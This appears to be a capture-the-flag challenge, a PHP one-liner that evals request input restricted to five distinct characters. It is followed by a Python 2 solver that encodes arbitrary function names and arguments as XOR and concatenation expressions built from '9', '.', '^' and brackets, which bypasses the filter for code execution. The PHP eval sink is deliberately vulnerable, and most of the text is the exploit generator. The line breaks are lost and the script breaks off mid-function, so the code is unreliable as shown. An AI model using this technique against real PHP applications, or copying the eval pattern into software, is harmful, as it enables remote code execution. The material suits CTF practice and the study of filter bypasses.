<?php // Flag is inside ./flag.php :) ($x=str_replace("`","",strval($_REQUEST["x"])))&&strlen(count_chars($x,3))<=5?print(eval("return $x;")):show_source(__FILE__)&&phpinfo();
#python2 # -*- coding: utf-8 -*- def init(): num={ '106':'(99^9)', '99':'(99)', '19':'(((.99999999999999999999).(9))^(9)^(9))', '7':'(99.999999999999999999^99)', '3':'(9.9999999999999999999^9)', '1':'(.99999999999999999999)', '0':'(9^9)', '9':'(9)', } for y in range(3): key=num.keys() for i in range(len(key)): for x in range(len(key)): k=(int(key[x])^int(key[i])) if num.has_key(str(k))== False: num[str(k)]='('+num[key[x]]+'^'+num[key[i]]+')' return num
def one_num(num): onum={} key=num.keys() for i in range(len(key)): if len(key[i])==1: onum[(key[i])]=num[key[i]] return onum def get_null(long=1): null='11'
def chrstr(I,N,F): global int_num I=I.split('^') N=N.split('^') F=F.split('^') MAX_num=max(len(I),len(N),len(F)) num=int_num num['null']='(((9).(9))^((9).(9)))' ret='((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))' #print(I,N,F) if len(F)<MAX_num: F.append('null') for i in range(MAX_num): ret='('+ret+"^("+int_num[I[i]]+"."+int_num[N[i]]+"."+int_num[F[i]]+"))" #print(ret) return ret #print(result) def guess_chr(): global int_num num=int_num I_test={} N_test={} F_test={} want='chr' want=want.upper() num_int=num.keys() for x in num_int: for y in num_int: k=(chr(ord('I')^ord(x)^ord(y))) if I_test.has_key(k)== False: I_test[k]=(x)+'^'+(y) k=(chr(ord('N')^ord(x)^ord(y))) if N_test.has_key(k)== False: N_test[k]=(x)+'^'+(y) k=(chr(ord('F')^ord(x)^ord(y))) if F_test.has_key(k)== False: F_test[k]=(x)+'^'+(y) for x in num_int: k=(chr(ord('I')^ord(x))) if I_test.has_key(k)== False: I_test[k.upper()]=(x) k=(chr(ord('N')^ord(x))) if N_test.has_key(k)== False: N_test[k.upper()]=(x) k=(chr(ord('F')^ord(x))) if F_test.has_key(k)== False: F_test[k.upper()]=(x) if I_test.has_key(want[0])== False: print('I not much') exit() if N_test.has_key(want[1])== False: print('N not much') exit() if F_test.has_key(want[2])== False: print('F not much') exit()
def guess(want): global int_num want=str(ord(want)) ret='' for i in want: ret+=int_num[i]+'.'
return ret[:-1] def shell(fun,code):#有参数函数 ret='' sym=['(','^','.',')'] global chr_str for i in fun: ret+=chr_str+'('+guess(i)+').' ret="("+ret[:-1]+')((' for x in code: ret+=chr_str+'('+guess(x)+').'